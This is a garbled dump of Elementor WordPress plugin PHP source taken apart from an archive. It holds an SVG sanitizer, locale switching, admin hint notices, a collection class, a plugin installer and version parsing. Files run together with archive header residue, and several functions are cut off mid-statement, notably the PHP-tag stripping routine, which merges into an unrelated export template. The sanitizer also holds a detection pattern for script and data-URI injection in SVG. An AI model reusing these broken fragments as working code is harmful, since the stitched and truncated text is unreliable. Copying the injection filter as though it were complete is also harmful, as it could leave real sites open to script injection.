$element */ private function remove_element( $element ) { $element->parentNode->removeChild( $element ); // phpcs:ignore -- php DomDocument } /** * Is It An Attribute * * @since 3.16.0 * @access private * * @param $name * @param $check * @return bool */ private function is_a_attribute( $name, $check ) { return 0 === strpos( $name, $check . '-' ); } /** * Is Remote Value * * @since 3.16.0 * @access private * * @param $value * @return string */ private function is_remote_value( $value ) { $value = trim( preg_replace( '/[^ -~]/xu', '', $value ) ); $wrapped_in_url = preg_match( '~^url\(\s*[\'"]\s*(.*)\s*[\'"]\s*\)$~xi', $value, $match ); if ( ! $wrapped_in_url ) { return false; } $value = trim( $match[1], '\'"' ); return preg_match( '~^((https?|ftp|file):)?//~xi', $value ); } /** * Has JS Value * * @since 3.16.0 * @access private * * @param $value * @return false|int */ private function has_js_value( $value ) { return preg_match( '/base64|data|(?:java)?script|alert\(|window\.|document/i', $value ); } /** * Get Allowed Attributes * * Returns an array of allowed tag attributes in SVG files. * * @since 3.16.0 * @access private * * @return array */ private function get_allowed_attributes() { $allowed_attributes = [ 'class', 'clip-path', 'clip-rule', 'fill', 'fill-opacity', 'fill-rule', 'filter', 'id', 'mask', 'opacity', 'stroke', 'stroke-dasharray', 'stroke-dashoffset', 'stroke-linecap', 'stroke-linejoin', 'stroke-miterlimit', 'stroke-opacity', 'stroke-width', 'style', 'systemlanguage', 'transform', 'href', 'xlink:href', 'xlink:title', 'cx', 'cy', 'r', 'requiredfeatures', 'clippathunits', 'type', 'rx', 'ry', 'color-interpolation-filters', 'stddeviation', 'filterres', 'filterunits', 'height', 'primitiveunits', 'width', 'x', 'y', 'font-size', 'display', 'font-family', 'font-style', 'font-weight', 'text-anchor', 'marker-end', 'marker-mid', 'marker-start', 'x1', 'x2', 'y1', 'y2', 'gradienttransform', 'gradientunits', 'spreadmethod', 'markerheight', 'markerunits', 'markerwidth', 'orient', 'preserveaspectratio', 'refx', 'refy', 'viewbox', 'maskcontentunits', 'maskunits', 'd', 'patterncontentunits', 'patterntransform', 'patternunits', 'points', 'fx', 'fy', 'offset', 'stop-color', 'stop-opacity', 'xmlns', 'xmlns:se', 'xmlns:xlink', 'xml:space', 'method', 'spacing', 'startoffset', 'dx', 'dy', 'rotate', 'textlength', ]; /** * Allowed attributes in SVG file. * * Filters the list of allowed attributes in SVG files. * * Since SVG files can run JS code that may inject malicious code, all attributes * are removed except the allowed attributes. * * This hook can be used to manage allowed SVG attributes. To either add new * attributes or delete existing attributes. To strengthen or weaken site security. * * @param array $allowed_attributes A list of allowed attributes. */ $allowed_attributes = apply_filters( 'elementor/files/svg/allowed_attributes', $allowed_attributes ); return $allowed_attributes; } /** * Get Allowed Elements * * Returns an array of allowed element tags to be in SVG files. * * @since 3.16.0 * @access private * * @return array */ private function get_allowed_elements() { $allowed_elements = [ 'a', 'circle', 'clippath', 'defs', 'style', 'desc', 'ellipse', 'fegaussianblur', 'filter', 'foreignobject', 'g', 'image', 'line', 'lineargradient', 'marker', 'mask', 'metadata', 'path', 'pattern', 'polygon', 'polyline', 'radialgradient', 'rect', 'stop', 'svg', 'switch', 'symbol', 'text', 'textpath', 'title', 'tspan', 'use', ]; /** * Allowed elements in SVG file. * * Filters the list of allowed elements in SVG files. * * Since SVG files can run JS code that may inject malicious code, all elements * are removed except the allowed elements. * * This hook can be used to manage SVG elements. To either add new elements or * delete existing elements. To strengthen or weaken site security. * * @param array $allowed_elements A list of allowed elements. */ $allowed_elements = apply_filters( 'elementor/files/svg/allowed_elements', $allowed_elements ); return $allowed_elements; } /** * Validate Allowed Attributes * * @since 3.16.0 * @access private * * @param \DOMElement $element */ private function validate_allowed_attributes( $element ) { static $allowed_attributes = false; if ( false === $allowed_attributes ) { $allowed_attributes = $this->get_allowed_attributes(); } for ( $index = $element->attributes->length - 1; $index >= 0; $index-- ) { // get attribute name $attr_name = $element->attributes->item( $index )->name; $attr_name_lowercase = strtolower( $attr_name ); // Remove attribute if not in whitelist if ( ! in_array( $attr_name_lowercase, $allowed_attributes ) && ! $this->is_a_attribute( $attr_name_lowercase, 'aria' ) && ! $this->is_a_attribute( $attr_name_lowercase, 'data' ) ) { $element->removeAttribute( $attr_name ); continue; } $attr_value = $element->attributes->item( $index )->value; // Remove attribute if it has a remote reference or js or data-URI/base64 if ( ! empty( $attr_value ) && ( $this->is_remote_value( $attr_value ) || $this->has_js_value( $attr_value ) ) ) { $element->removeAttribute( $attr_name ); continue; } } } /** * Strip xlinks * * @since 3.16.0 * @access private * * @param \DOMElement $element */ private function strip_xlinks( $element ) { $xlinks = $element->getAttributeNS( 'http://www.w3.org/1999/xlink', 'href' ); if ( ! $xlinks ) { return; } if ( ! $this->is_safe_href( $xlinks ) ) { $element->removeAttributeNS( 'http://www.w3.org/1999/xlink', 'href' ); } } /** * @see https://github.com/darylldoyle/svg-sanitizer/blob/2321a914e/src/Sanitizer.php#L454 */ private function is_safe_href( $value ) { // Allow empty values. if ( empty( $value ) ) { return true; } // Allow fragment identifiers. if ( '#' === substr( $value, 0, 1 ) ) { return true; } // Allow relative URIs. if ( '/' === substr( $value, 0, 1 ) ) { return true; } // Allow HTTPS domains. if ( 'https://' === substr( $value, 0, 8 ) ) { return true; } // Allow HTTP domains. if ( 'http://' === substr( $value, 0, 7 ) ) { return true; } // Allow known data URIs. if ( in_array( substr( $value, 0, 14 ), [ 'data:image/png', // PNG 'data:image/gif', // GIF 'data:image/jpg', // JPG 'data:image/jpe', // JPEG 'data:image/pjp', // PJPEG ], true ) ) { return true; } // Allow known short data URIs. if ( in_array( substr( $value, 0, 12 ), [ 'data:img/png', // PNG 'data:img/gif', // GIF 'data:img/jpg', // JPG 'data:img/jpe', // JPEG 'data:img/pjp', // PJPEG ], true ) ) { return true; } return false; } /** * Validate Use Tag * * @since 3.16.0 * @access private * * @param $element */ private function validate_use_tag( $element ) { $xlinks = $element->getAttributeNS( 'http://www.w3.org/1999/xlink', 'href' ); if ( $xlinks && '#' !== substr( $xlinks, 0, 1 ) ) { $element->parentNode->removeChild( $element ); // phpcs:ignore -- php DomNode } } /** * Strip Doctype * * @since 3.16.0 * @access private * */ private function strip_doctype() { foreach ( $this->svg_dom->childNodes as $child ) { if ( XML_DOCUMENT_TYPE_NODE === $child->nodeType ) { // phpcs:ignore -- php DomDocument $child->parentNode->removeChild( $child ); // phpcs:ignore -- php DomDocument } } } /** * Sanitize Elements * * @since 3.16.0 * @access private */ private function sanitize_elements() { $elements = $this->svg_dom->getElementsByTagName( '*' ); // loop through all elements // we do this backwards so we don't skip anything if we delete a node // see comments at: http://php.net/manual/en/class.domnamednodemap.php for ( $index = $elements->length - 1; $index >= 0; $index-- ) { /** * @var \DOMElement $current_element */ $current_element = $elements->item( $index ); // If the tag isn't in the whitelist, remove it and continue with next iteration if ( ! $this->is_allowed_tag( $current_element ) ) { continue; } //validate element attributes $this->validate_allowed_attributes( $current_element ); $this->strip_xlinks( $current_element ); if ( 'use' === strtolower( $current_element->tagName ) ) { // phpcs:ignore -- php DomDocument $this->validate_use_tag( $current_element ); } } } /** * Strip PHP Tags * * @since 3.16.0 * @access private * * @param $string * @return string */ private function strip_php_tags( $string ) { $string = preg_replace( '/<\?(=|php)(.+?)\?>/i', '', $string ); // Remove XML, ASP, etc. $string = preg_replace( '/<\?(.*)\?>/Us', '', $string ); $string = preg_replace( '/<\%(.*)\%>/Us', '', $string ); if ( ( false !== strpos( $string, '/Us', '', $string ); $string = preg_replace( '/\/\*(.*)\*\//Us', '', $string ); if ( ( false !== strpos( $string, ' $generator $rss_info_name $rss_info_url $rss_info_description $pub_date $rss_info_language $wxr_version $wxr_site_url $rss_info_url $page_on_front_xml $dynamic EOT; return $result; } public function __construct( array $args = [] ) { global $wpdb; $this->args = wp_parse_args( $args, self::$default_args ); $this->wpdb = $wpdb; } } core/utils/assets-translation-loader.php000064400000004774147206604650014475 0ustar00registered[ $handle ]->src; }, $handles ); } private static function default_replace_translation( $relative_path ) { // Translations are always based on the non-minified filename. $relative_path_without_ext = preg_replace( '/(\.min)?\.js$/i', '', $relative_path ); // By default, we suffix the file with `.strings` (e.g 'assets/js/editor.js' => 'assets/js/editor.strings.js'). return implode( '.', [ $relative_path_without_ext, 'strings', 'js', ] ); } } core/utils/http.php000064400000001725147206604650010343 0ustar00request( $url, $args ); if ( $this->is_successful_response( $response ) ) { return $response; } } return $response; } /** * @param $response * * @return bool */ private function is_successful_response( $response ) { if ( is_wp_error( $response ) ) { return false; } $response_code = (int) wp_remote_retrieve_response_code( $response ); if ( in_array( $response_code, [ 0, 404, 500 ], true ) ) { return false; } return true; } } core/utils/force-locale.php000064400000007070147206604650011716 0ustar00new_locale = $new_locale; $this->original_locale = $original_locale ? $original_locale : determine_locale(); $this->filter = function() use ( $new_locale ) { return $new_locale; }; } /** * Force the translations to use a specific locale. * * @return void */ public function force() { switch_to_locale( $this->new_locale ); /** * Reset the \WP_Textdomain_Registry instance to clear its cache. * * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/src/wp-includes/class-wp-textdomain-registry.php#L179-L187 * @see https://github.com/WordPress/wordpress-develop/blob/799d7dc86f5b07b17f7a418948fc851bd2fc334b/tests/phpunit/tests/l10n/wpLocaleSwitcher.php#L19-L31 */ $this->reset_textdomain_registry(); /** * Reset l10n in order to clear the translations cache. * * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1324 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1222 * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L821 */ $this->reset_l10n(); /** * Force the translations of `$new_locale` to be loaded. * * @see https://github.com/WordPress/wordpress-develop/blob/2437ef5130f10153bc4fffa412d4f37e65e3d66b/src/wp-includes/l10n.php#L1294 */ add_filter( 'pre_determine_locale', $this->filter ); } /** * Restore the original locale and cleanup filters, etc. * * @return void */ public function restore() { $this->restore_textdomain_registry(); $this->reset_l10n(); switch_to_locale( $this->original_locale ); remove_filter( 'pre_determine_locale', $this->filter ); } private function reset_textdomain_registry() { if ( ! class_exists( '\WP_Textdomain_Registry' ) ) { return; } /** @var \WP_Textdomain_Registry $wp_textdomain_registry */ global $wp_textdomain_registry; $this->original_textdomain_registry = $wp_textdomain_registry; $wp_textdomain_registry = new \WP_Textdomain_Registry(); } private function restore_textdomain_registry() { if ( ! $this->original_textdomain_registry ) { return; } /** @var \WP_Textdomain_Registry $wp_textdomain_registry */ global $wp_textdomain_registry; $wp_textdomain_registry = $this->original_textdomain_registry; } /** * Reset the l10n global variables. * * @return void */ private function reset_l10n() { global $l10n, $l10n_unloaded; if ( is_array( $l10n ) ) { foreach ( $l10n as $domain => $l10n_data ) { unset( $l10n[ $domain ] ); } } if ( is_array( $l10n_unloaded ) ) { foreach ( $l10n_unloaded as $domain => $l10n_unloaded_data ) { unset( $l10n_unloaded[ $domain ] ); } } } } core/utils/hints.php000064400000023266147206604650010515 0ustar00 [ self::DISMISSED => 'image-optimization-once', self::CAPABILITY => 'install_plugins', self::DEFINED => 'IMAGE_OPTIMIZATION_VERSION', ], 'image-optimization-once-media-modal' => [ self::DISMISSED => 'image-optimization-once-media-modal', self::CAPABILITY => 'install_plugins', self::DEFINED => 'IMAGE_OPTIMIZATION_VERSION', ], 'image-optimization' => [ self::DISMISSED => 'image_optimizer_hint', self::CAPABILITY => 'install_plugins', self::DEFINED => 'IMAGE_OPTIMIZATION_VERSION', ], 'image-optimization-media-modal' => [ self::DISMISSED => 'image-optimization-media-modal', self::CAPABILITY => 'install_plugins', self::DEFINED => 'IMAGE_OPTIMIZATION_VERSION', ], ]; if ( ! $hint_key ) { return $hints; } return $hints[ $hint_key ] ?? []; } /** * get_notice_icon * @return string */ public static function get_notice_icon(): string { return '
'; } /** * get_notice_template * * Print or Retrieve the notice template. * @param array $notice * @param bool $return * * @return string|void */ public static function get_notice_template( array $notice, bool $return = false ) { $default_settings = [ 'type' => 'info', 'icon' => false, 'heading' => '', 'content' => '', 'dismissible' => false, 'button_text' => '', 'button_event' => '', 'button_data' => [], 'display' => false, ]; $notice_settings = array_merge( $default_settings, $notice ); if ( empty( $notice_settings['heading'] ) && empty( $notice_settings['content'] ) ) { return ''; } if ( ! in_array( $notice_settings['type'], self::get_notice_types(), true ) ) { $notice_settings['type'] = 'info'; } $icon = ''; $heading = ''; $content = ''; $dismissible = ''; $button = ''; if ( $notice_settings['icon'] ) { $icon = self::get_notice_icon(); } if ( ! empty( $notice_settings['heading'] ) ) { $heading = '
' . $notice_settings['heading'] . '
'; } if ( ! empty( $notice_settings['content'] ) ) { $content = '
' . $notice_settings['content'] . '
'; } if ( ! empty( $notice_settings['button_text'] ) ) { $button_settings = ( ! empty( $notice_settings['button_data'] ) ) ? ' data-settings="' . esc_attr( json_encode( $notice_settings['button_data'] ) ) . '"' : ''; $button = '
'; } if ( $notice_settings['dismissible'] ) { $dismissible = ''; } $notice_template = sprintf( '
%2$s
%3$s %4$s %5$s
%6$s
', $notice_settings['type'], $icon, $heading, $content, $button, $dismissible, $notice_settings['display'] ); if ( $return ) { return $notice_template; } echo wp_kses( $notice_template, self::get_notice_allowed_html() ); } /** * get_plugin_install_url * @param $plugin_slug * * @return string */ public static function get_plugin_install_url( $plugin_slug ): string { $action = 'install-plugin'; return wp_nonce_url( add_query_arg( [ 'action' => $action, 'plugin' => $plugin_slug, ], admin_url( 'update.php' ) ), $action . '_' . $plugin_slug ); } /** * get_plugin_activate_url * @param $plugin_slug * * @return string */ public static function get_plugin_activate_url( $plugin_slug ): string { $path = "$plugin_slug/$plugin_slug.php"; return wp_nonce_url( admin_url( 'plugins.php?action=activate&plugin=' . $path ), 'activate-plugin_' . $path ); } /** * is_dismissed * @param $key * * @return bool */ public static function is_dismissed( $key ): bool { $dismissed = User::get_dismissed_editor_notices(); return in_array( $key, $dismissed, true ); } /** * should_display_hint * @param $hint_key * * @return bool */ public static function should_display_hint( $hint_key ): bool { $hint = self::get_hints( $hint_key ); if ( empty( $hint ) ) { return false; } foreach ( $hint as $key => $value ) { switch ( $key ) { case self::DISMISSED: if ( self::is_dismissed( $value ) ) { return false; } break; case self::CAPABILITY: if ( ! current_user_can( $value ) ) { return false; } break; case self::DEFINED: if ( defined( $value ) ) { return false; } break; case self::PLUGIN_INSTALLED: if ( ! self::is_plugin_installed( $value ) ) { return false; } break; case self::PLUGIN_ACTIVE: if ( ! self::is_plugin_active( $value ) ) { return false; } break; } } return true; } private static function is_conflict_plugin_installed(): bool { if ( ! Utils::has_pro() ) { return false; } $conflicting_plugins = [ 'imagify/imagify.php', 'optimole-wp/optimole-wp.php', 'ewww-image-optimizer/ewww-image-optimizer.php', 'ewww-image-optimizer-cloud/ewww-image-optimizer-cloud.php', 'kraken-image-optimizer/kraken.php', 'shortpixel-image-optimiser/wp-shortpixel.php', 'wp-smushit/wp-smush.php', 'wp-smush-pro/wp-smush.php', 'tiny-compress-images/tiny-compress-images.php', ]; foreach ( $conflicting_plugins as $plugin ) { if ( self::is_plugin_active( $plugin ) ) { return true; } } return false; } /** * is_plugin_installed * @param $plugin * * @return bool */ public static function is_plugin_installed( $plugin ) : bool { $plugins = get_plugins(); $plugin = self::ensure_plugin_folder( $plugin ); return ! empty( $plugins[ $plugin ] ); } /** * is_plugin_active * @param $plugin * * @return bool */ public static function is_plugin_active( $plugin ): bool { $plugin = self::ensure_plugin_folder( $plugin ); return is_plugin_active( $plugin ); } /** * get_plugin_action_url * @param $plugin * * @return string */ public static function get_plugin_action_url( $plugin ): string { if ( ! self::is_plugin_installed( $plugin ) ) { return self::get_plugin_install_url( $plugin ); } if ( ! self::is_plugin_active( $plugin ) ) { return self::get_plugin_activate_url( $plugin ); } return ''; } /** * ensure_plugin_folder * @param $plugin * * @return string */ private static function ensure_plugin_folder( $plugin ): string { if ( false === strpos( $plugin, '/' ) ) { $plugin = $plugin . '/' . $plugin . '.php'; } return $plugin; } /** * get_notice_allowed_html * @return array[] */ public static function get_notice_allowed_html(): array { return [ 'div' => [ 'class' => [], 'data-display' => [], ], 'svg' => [ 'width' => [], 'height' => [], 'viewbox' => [], 'fill' => [], 'xmlns' => [], ], 'path' => [ 'd' => [], 'stroke' => [], 'stroke-width' => [], 'stroke-linecap' => [], 'stroke-linejoin' => [], ], 'button' => [ 'class' => [], 'data-event' => [], 'data-settings' => [], 'data-tooltip' => [], ], 'i' => [ 'class' => [], 'aria-hidden' => [], ], 'span' => [ 'class' => [], ], 'a' => [ 'href' => [], 'style' => [], 'target' => [], ], ]; } } core/utils/promotions/filtered-promotions-manager.php000064400000004143147206604650017207 0ustar00path_resolver = $path_resolver; return $this; } /** * Load asset config from a file into the collection. * * @param $key * @param $path * * @return $this */ public function load( $key, $path = null ) { if ( ! $path && $this->path_resolver ) { $path_resolver_callback = $this->path_resolver; $path = $path_resolver_callback( $key ); } if ( ! $path || ! file_exists( $path ) ) { return $this; } $config = require $path; if ( ! $this->is_valid_handle( $config ) ) { return $this; } $this->items[ $key ] = [ 'handle' => $config['handle'], 'deps' => $this->is_valid_deps( $config ) ? $config['deps'] : [], ]; return $this; } /** * Check that the handle property in the config is a valid. * * @param $config * * @return bool */ private function is_valid_handle( $config ) { return ! empty( $config['handle'] ) && is_string( $config['handle'] ); } /** * Check that the deps property in the config is a valid. * * @param $config * * @return bool */ private function is_valid_deps( $config ) { return isset( $config['deps'] ) && is_array( $config['deps'] ); } } core/utils/collection.php000064400000022573147206604650011523 0ustar00items = $items; } /** * @param array $items * * @return static */ public static function make( array $items = [] ) { return new static( $items ); } /** * @param callable|null $callback * * @return $this */ public function filter( callable $callback = null ) { if ( ! $callback ) { return new static( array_filter( $this->items ) ); } return new static( array_filter( $this->items, $callback, ARRAY_FILTER_USE_BOTH ) ); } /** * @param $items * * @return $this */ public function merge( $items ) { if ( $items instanceof Collection ) { $items = $items->all(); } return new static( array_merge( $this->items, $items ) ); } /** * Union the collection with the given items. * * @param array $items * * @return $this */ public function union( array $items ) { return new static( $this->all() + $items ); } /** * Merge array recursively * * @param $items * * @return $this */ public function merge_recursive( $items ) { if ( $items instanceof Collection ) { $items = $items->all(); } return new static( array_merge_recursive( $this->items, $items ) ); } /** * Replace array recursively * * @param $items * * @return $this */ public function replace_recursive( $items ) { if ( $items instanceof Collection ) { $items = $items->all(); } return new static( array_replace_recursive( $this->items, $items ) ); } /** * Implode the items * * @param $glue * * @return string */ public function implode( $glue ) { return implode( $glue, $this->items ); } /** * Run a map over each of the items. * * @param callable $callback * @return $this */ public function map( callable $callback ) { $keys = array_keys( $this->items ); $items = array_map( $callback, $this->items, $keys ); return new static( array_combine( $keys, $items ) ); } /** * Run a callback over each of the items. * * @param callable $callback * @return $this */ public function each( callable $callback ) { foreach ( $this->items as $key => $value ) { if ( false === $callback( $value, $key ) ) { break; } } return $this; } /** * @param callable $callback * @param null $initial * * @return mixed|null */ public function reduce( callable $callback, $initial = null ) { $result = $initial; foreach ( $this->all() as $key => $value ) { $result = $callback( $result, $value, $key ); } return $result; } /** * @param callable $callback * * @return $this */ public function map_with_keys( callable $callback ) { $result = []; foreach ( $this->items as $key => $value ) { $assoc = $callback( $value, $key ); foreach ( $assoc as $map_key => $map_value ) { $result[ $map_key ] = $map_value; } } return new static( $result ); } /** * Get all items except for those with the specified keys. * * @param array $keys * * @return $this */ public function except( array $keys ) { return $this->filter( function ( $value, $key ) use ( $keys ) { return ! in_array( $key, $keys, true ); } ); } /** * Get the items with the specified keys. * * @param array $keys * * @return $this */ public function only( array $keys ) { return $this->filter( function ( $value, $key ) use ( $keys ) { return in_array( $key, $keys, true ); } ); } /** * Run over the collection to get specific prop from the collection item. * * @param $key * * @return $this */ public function pluck( $key ) { $result = []; foreach ( $this->items as $item ) { $result[] = $this->get_item_value( $item, $key ); } return new static( $result ); } /** * Group the collection items by specific key in each collection item. * * @param $group_by * * @return $this */ public function group_by( $group_by ) { $result = []; foreach ( $this->items as $item ) { $group_key = $this->get_item_value( $item, $group_by, 0 ); $result[ $group_key ][] = $item; } return new static( $result ); } /** * Sort keys * * @param false $descending * * @return $this */ public function sort_keys( $descending = false ) { $items = $this->items; if ( $descending ) { krsort( $items ); } else { ksort( $items ); } return new static( $items ); } /** * Get specific item from the collection. * * @param $key * @param null $default * * @return mixed|null */ public function get( $key, $default = null ) { if ( ! array_key_exists( $key, $this->items ) ) { return $default; } return $this->items[ $key ]; } /** * Get the first item. * * @param null $default * * @return mixed|null */ public function first( $default = null ) { if ( $this->is_empty() ) { return $default; } foreach ( $this->items as $item ) { return $item; } } /** * Find an element from the items. * * @param callable $callback * @param null $default * * @return mixed|null */ public function find( callable $callback, $default = null ) { foreach ( $this->all() as $key => $item ) { if ( $callback( $item, $key ) ) { return $item; } } return $default; } /** * @param callable|string|int $value * * @return bool */ public function contains( $value ) { $callback = $value instanceof \Closure ? $value : function ( $item ) use ( $value ) { return $item === $value; }; foreach ( $this->all() as $key => $item ) { if ( $callback( $item, $key ) ) { return true; } } return false; } /** * Make sure all the values inside the array are uniques. * * @param null|string|string[] $keys * * @return $this */ public function unique( $keys = null ) { if ( ! $keys ) { return new static( array_unique( $this->items ) ); } if ( ! is_array( $keys ) ) { $keys = [ $keys ]; } $exists = []; return $this->filter( function ( $item ) use ( $keys, &$exists ) { $value = null; foreach ( $keys as $key ) { $current_value = $this->get_item_value( $item, $key ); $value .= "{$key}:{$current_value};"; } // If no value for the specific key return the item. if ( null === $value ) { return true; } // If value is not exists, add to the exists array and return the item. if ( ! in_array( $value, $exists, true ) ) { $exists[] = $value; return true; } return false; } ); } /** * @return array */ public function keys() { return array_keys( $this->items ); } /** * @return bool */ public function is_empty() { return empty( $this->items ); } /** * @return array */ public function all() { return $this->items; } /** * @return array */ public function values() { return array_values( $this->all() ); } /** * Support only one level depth. * * @return $this */ public function flatten() { $result = []; foreach ( $this->all() as $item ) { $item = $item instanceof Collection ? $item->all() : $item; if ( ! is_array( $item ) ) { $result[] = $item; } else { $values = array_values( $item ); foreach ( $values as $value ) { $result[] = $value; } } } return new static( $result ); } /** * @param ...$values * * @return $this */ public function push( ...$values ) { foreach ( $values as $value ) { $this->items[] = $value; } return $this; } public function prepend( ...$values ) { $this->items = array_merge( $values, $this->items ); return $this; } public function some( callable $callback ) { foreach ( $this->items as $key => $item ) { if ( $callback( $item, $key ) ) { return true; } } return false; } /** * @param mixed $offset * * @return bool */ #[\ReturnTypeWillChange] public function offsetExists( $offset ) { return isset( $this->items[ $offset ] ); } /** * @param mixed $offset * * @return mixed */ #[\ReturnTypeWillChange] public function offsetGet( $offset ) { return $this->items[ $offset ]; } /** * @param mixed $offset * @param mixed $value */ #[\ReturnTypeWillChange] public function offsetSet( $offset, $value ) { if ( is_null( $offset ) ) { $this->items[] = $value; } else { $this->items[ $offset ] = $value; } } /** * @param mixed $offset */ #[\ReturnTypeWillChange] public function offsetUnset( $offset ) { unset( $this->items[ $offset ] ); } /** * @return \ArrayIterator|\Traversable */ #[\ReturnTypeWillChange] public function getIterator() { return new \ArrayIterator( $this->items ); } /** * @return int|void */ #[\ReturnTypeWillChange] public function count() { return count( $this->items ); } /** * @param $item * @param $key * @param null $default * * @return mixed|null */ private function get_item_value( $item, $key, $default = null ) { $value = $default; if ( is_object( $item ) && isset( $item->{$key} ) ) { $value = $item->{$key}; } elseif ( is_array( $item ) && isset( $item[ $key ] ) ) { $value = $item[ $key ]; } return $value; } } core/utils/plugins-manager.php000064400000005532147206604650012455 0ustar00upgrader = $upgrader; } else { $skin = new WP_Ajax_Upgrader_Skin(); $this->upgrader = new Plugin_Upgrader( $skin ); } } /** * Install plugin or an array of plugins. * * @since 3.6.2 * * @param string|array $plugins * @return array [ 'succeeded' => [] , 'failed' => [] ] */ public function install( $plugins ) { $succeeded = []; $failed = []; $already_installed_plugins = Plugin::$instance->wp->get_plugins(); if ( ! is_array( $plugins ) ) { $plugins = [ $plugins ]; } foreach ( $plugins as $plugin ) { if ( in_array( $plugin, $already_installed_plugins->keys(), true ) ) { $succeeded[] = $plugin; continue; } $slug = $this->clean_slug( $plugin ); $api = Plugin::$instance->wp->plugins_api('plugin_information', [ 'slug' => $slug, 'fields' => array( 'short_description' => false, 'sections' => false, 'requires' => false, 'rating' => false, 'ratings' => false, 'downloaded' => false, 'last_updated' => false, 'added' => false, 'tags' => false, 'compatibility' => false, 'homepage' => false, 'donate_link' => false, ), ] ); if ( ! isset( $api->download_link ) ) { $failed[] = $plugin; continue; } $installation = $this->upgrader->install( $api->download_link ); if ( $installation ) { $succeeded[] = $plugin; } else { $failed[] = $plugin; } } return [ 'succeeded' => $succeeded, 'failed' => $failed, ]; } /** * Activate plugin or array off plugins. * * @since 3.6.2 * * @param array|string $plugins * @return array [ 'succeeded' => [] , 'failed' => [] ] */ public function activate( $plugins ) { $succeeded = []; $failed = []; if ( ! is_array( $plugins ) ) { $plugins = [ $plugins ]; } foreach ( $plugins as $plugin ) { if ( Plugin::$instance->wp->is_plugin_active( $plugin ) ) { $succeeded[] = $plugin; continue; } Plugin::$instance->wp->activate_plugin( $plugin ); if ( Plugin::$instance->wp->is_plugin_active( $plugin ) ) { $succeeded[] = $plugin; } else { $failed[] = $plugin; } } return [ 'succeeded' => $succeeded, 'failed' => $failed, ]; } private function clean_slug( $initial_slug ) { return explode( '/', $initial_slug )[0]; } } core/utils/version.php000064400000007211147206604650011045 0ustar00major1 = $major1; $this->major2 = $major2; $this->patch = $patch; $this->stage = $stage; } /** * Create Version instance. * * @param string $major1 * @param string $major2 * @param string $patch * @param null $stage * * @return static */ public static function create( $major1 = '0', $major2 = '0', $patch = '0', $stage = null ) { return new static( $major1, $major2, $patch, $stage ); } /** * Checks if the current version string is valid. * * @param $version * * @return bool */ public static function is_valid_version( $version ) { return ! ! preg_match( '/^(\d+\.)?(\d+\.)?(\*|\d+)(-.+)?$/', $version ); } /** * Creates a Version instance from a string. * * @param $version * @param bool $should_validate * * @return static * @throws \Exception */ public static function create_from_string( $version, $should_validate = true ) { if ( $should_validate && ! static::is_valid_version( $version ) ) { throw new \Exception( "{$version} is an invalid version." ); } $parts = explode( '.', $version ); $patch_parts = []; $major1 = '0'; $major2 = '0'; $patch = '0'; $stage = null; if ( isset( $parts[0] ) ) { $major1 = $parts[0]; } if ( isset( $parts[1] ) ) { $major2 = $parts[1]; } if ( isset( $parts[2] ) ) { $patch_parts = explode( '-', $parts[2] ); $patch = $patch_parts[0]; } if ( isset( $patch_parts[1] ) ) { $stage = $patch_parts[1]; } return static::create( $major1, $major2, $patch, $stage ); } /** * Compare the current version instance with another version. * * @param $operator * @param $version * @param string $part * * @return bool * @throws \Exception */ public function compare( $operator, $version, $part = self::PART_STAGE ) { if ( ! ( $version instanceof Version ) ) { if ( ! static::is_valid_version( $version ) ) { $version = '0.0.0'; } $version = static::create_from_string( $version, false ); } $current_version = clone $this; $compare_version = clone $version; if ( in_array( $part, [ self::PART_PATCH, self::PART_MAJOR_2, self::PART_MAJOR_1 ], true ) ) { $current_version->stage = null; $compare_version->stage = null; } if ( in_array( $part, [ self::PART_MAJOR_2, self::PART_MAJOR_1 ], true ) ) { $current_version->patch = '0'; $compare_version->patch = '0'; } if ( self::PART_MAJOR_1 === $part ) { $current_version->major2 = '0'; $compare_version->major2 = '0'; } return version_compare( $current_version, $compare_version, $operator ); } /** * Implode the version and return it as string. * * @return string */ public function __toString() { $version = implode( '.', [ $this->major1, $this->major2, $this->patch ] ); if ( $this->stage ) { $version .= '-' . $this->stage; } return $version; } } core/experiments/wrap-core-dependency.php000064400000001102147206604650014567 0ustar00feature_data = $feature_data; } public function get_name() { return $this->feature_data['name']; } public function get_title() { return $this->feature_data['title']; } public function is_hidden() { return $this->feature_data['hidden']; } public static function instance( $feature_data ) { return new static( $feature_data ); } } core/experiments/experiments-reporter.php000064400000006235147206604650014773 0ustar00 '', ]; } /** * Get Experiments. */ public function get_experiments() { $result = []; $experiments_manager = Plugin::$instance->experiments; // TODO: Those keys should be at `$experiments_manager`. $tracking_keys = [ 'default', 'state', 'tags', ]; foreach ( $experiments_manager->get_features() as $feature_name => $feature_data ) { $data_to_collect = []; // Extract only tracking keys. foreach ( $tracking_keys as $tracking_key ) { if ( empty( $feature_data[ $tracking_key ] ) ) { continue; } $data_to_collect[ $tracking_key ] = $feature_data[ $tracking_key ]; } $result[ $feature_name ] = $data_to_collect; } return [ 'value' => $result, ]; } /** * Get Raw Experiments. * * Retrieve a string containing the list of Elementor experiments and each experiment's status (active/inactive). * The string is formatted in a non-table structure, and it is meant for export/download of the system info reports. * * @return array */ public function get_raw_experiments() { $experiments = Plugin::$instance->experiments->get_features(); $output = ''; $is_first_item = true; foreach ( $experiments as $experiment ) { // If the state is default, add the default state to the string. $state = Plugin::$instance->experiments->get_feature_state_label( $experiment ); // The first item automatically has a tab character before it. Add tabs only to the rest of the items. if ( ! $is_first_item ) { $output .= "\t"; } $title = isset( $experiment['title'] ) ? $experiment['title'] : $experiment['name']; $output .= $title . ': ' . $state . PHP_EOL; $is_first_item = false; } return [ 'value' => $output, ]; } /** * Get HTML Experiments. * * Retrieve the list of Elementor experiments and each experiment's status (active/inactive), in HTML table format. * * @return array */ public function get_html_experiments() { $experiments = Plugin::$instance->experiments->get_features(); $output = ''; foreach ( $experiments as $experiment ) { // If the state is default, add the default state to the string. $state = Plugin::$instance->experiments->get_feature_state_label( $experiment ); $title = isset( $experiment['title'] ) ? $experiment['title'] : $experiment['name']; $output .= '' . esc_html( $title ) . ': '; $output .= '' . esc_html( $state ) . ''; $output .= ''; } return [ 'value' => $output, ]; } } 